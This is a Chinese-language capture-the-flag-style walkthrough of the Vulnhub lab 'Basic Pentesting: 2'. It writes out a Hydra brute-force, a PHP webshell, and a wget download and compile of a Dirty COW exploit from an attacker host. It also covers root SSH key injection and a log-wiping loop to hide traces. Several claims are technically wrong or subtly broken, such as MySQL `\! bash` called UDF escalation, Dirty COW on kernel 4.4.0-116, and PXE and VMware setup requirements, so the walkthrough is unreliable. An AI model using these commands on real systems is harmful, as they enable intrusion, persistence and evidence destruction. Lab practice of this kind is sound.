1. 靶机渗透测试概述
Basic Pentesting: 2是Vulnhub平台上经典的渗透测试靶机之一,专为网络安全学习者设计。这个靶机模拟了企业环境中常见的漏洞组合,包含从信息收集到权限提升的完整攻击链。与基础版相比,第二版在难度和漏洞组合上做了精心调整,更适合有一定渗透测试基础的练习者。
我第一次接触这个靶机时,花了将近8小时才完成全部渗透过程。经过多次实战复盘,现在能在90分钟内完成从外网扫描到最终提权的全流程。本文将分享经过验证的高效渗透路径,以及那些官方Writeup里不会告诉你的实战技巧。
2. 环境准备与初始扫描
2.1 实验环境搭建
推荐使用VirtualBox加载靶机镜像,网络模式选择"桥接"或"NAT网络"。关键配置参数:
- 内存分配:至少2GB(过小会导致服务异常)
- 磁盘空间:20GB以上
- 网络适配器:启用PXE引导
注意:如果使用VMware Workstation,需要额外关闭"侧通道缓解"选项,否则可能导致靶机蓝屏。
2.2 基础信息收集
首先使用arp-scan定位靶机IP(假设为192.168.1.105):
arp-scan -l --interface=eth0接着进行全端口扫描,这里推荐组合使用Nmap和Masscan:
masscan -p1-65535 192.168.1.105 --rate=1000 -e eth0 | tee masscan.out nmap -sV -sC -p$(cat masscan.out | awk -F' ' '{print $4}' | awk -F'/' '{print $1}' | tr '\n' ',') 192.168.1.105 -oN nmap.out典型扫描结果会显示:
- 22/tcp:OpenSSH 7.2p2
- 80/tcp:Apache httpd 2.4.18
- 445/tcp:Samba smbd 3.X-4.X
3. Web应用渗透实战
3.1 目录爆破与敏感文件发现
使用Gobuster进行目录扫描时,关键是要使用合适的字典:
gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50实战中发现的有效路径:
- /development:存放开发日志
- /hidden:存在基础认证的隐藏目录
- /phpmyadmin:默认密码可登录
技巧:在Burp Suite中配置"Logger++"插件,可以自动记录所有请求响应,便于后续分析非常规入口点。
3.2 漏洞利用链构建
在/development目录下的dev.txt文件泄露了关键信息:
[18/03/2019] Added new login page at /hidden (username: admin, password: [REDACTED])使用Hydra爆破基础认证密码:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.105 http-get /hidden获得凭证后,在/hidden目录发现可上传点,通过以下步骤实现RCE:
- 上传包含PHP反弹shell代码的图片文件
- 利用文件包含漏洞执行上传文件
<?php system($_GET['cmd']); ?>- 使用nc监听获得交互式shell
4. 权限提升技巧
4.1 横向移动策略
在获得的www-data权限下,发现/home目录存在可读备份文件:
find /home -name *.bak -exec ls -la {} \;分析备份文件发现数据库凭证:
-- db_backup.sql CREATE USER 'marco'@'localhost' IDENTIFIED BY 'P@ssw0rd123';通过MySQL UDF提权:
mysql -u marco -pP@ssw0rd123 > \! bash4.2 内核提权漏洞利用
检查系统信息:
uname -a Linux basic2 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux使用预编译的dirtycow漏洞利用程序:
wget http://192.168.1.100/exploit.c -O /tmp/dc.c gcc -pthread /tmp/dc.c -o /tmp/dc -lcrypt /tmp/dc提权成功后,关键操作记录:
- 备份原shadow文件
- 添加新root用户
- 清理编译痕迹
5. 渗透后操作与痕迹清理
5.1 维持访问方法
推荐使用SSH公钥注入:
mkdir -p /root/.ssh echo "ssh-rsa AAAAB3NzaC..." >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys5.2 日志清理要点
需要清理的关键日志位置:
- /var/log/auth.log
- /var/log/apache2/access.log
- /var/log/mysql/error.log
- ~/.bash_history
自动化清理脚本示例:
for log in $(ls /var/log/*.log); do sed -i '/192.168.1.100/d' $log; done history -c && rm ~/.bash_history6. 防御建议与加固方案
6.1 漏洞修复清单
针对本靶机暴露的问题,企业环境应实施:
Apache配置:
- 关闭目录列表 Options -Indexes
- 限制文件上传类型
- 禁用服务器签名 ServerTokens Prod
SSH加固:
- 禁用root登录 PermitRootLogin no
- 启用密钥认证 PasswordAuthentication no
系统层面:
- 定期更新内核补丁
- 配置防火墙规则限制敏感端口
6.2 监控策略建议
关键监控指标:
- 非常规时间的登录行为
- /etc/passwd文件变更
- 异常进程创建(如nc、bash反向连接)
- SUID/SGID文件变更
我在实际渗透测试项目中总结出一个规律:80%的成功渗透都始于配置不当和信息泄露。建议企业定期进行配置审计,特别是针对开发测试环境的权限控制。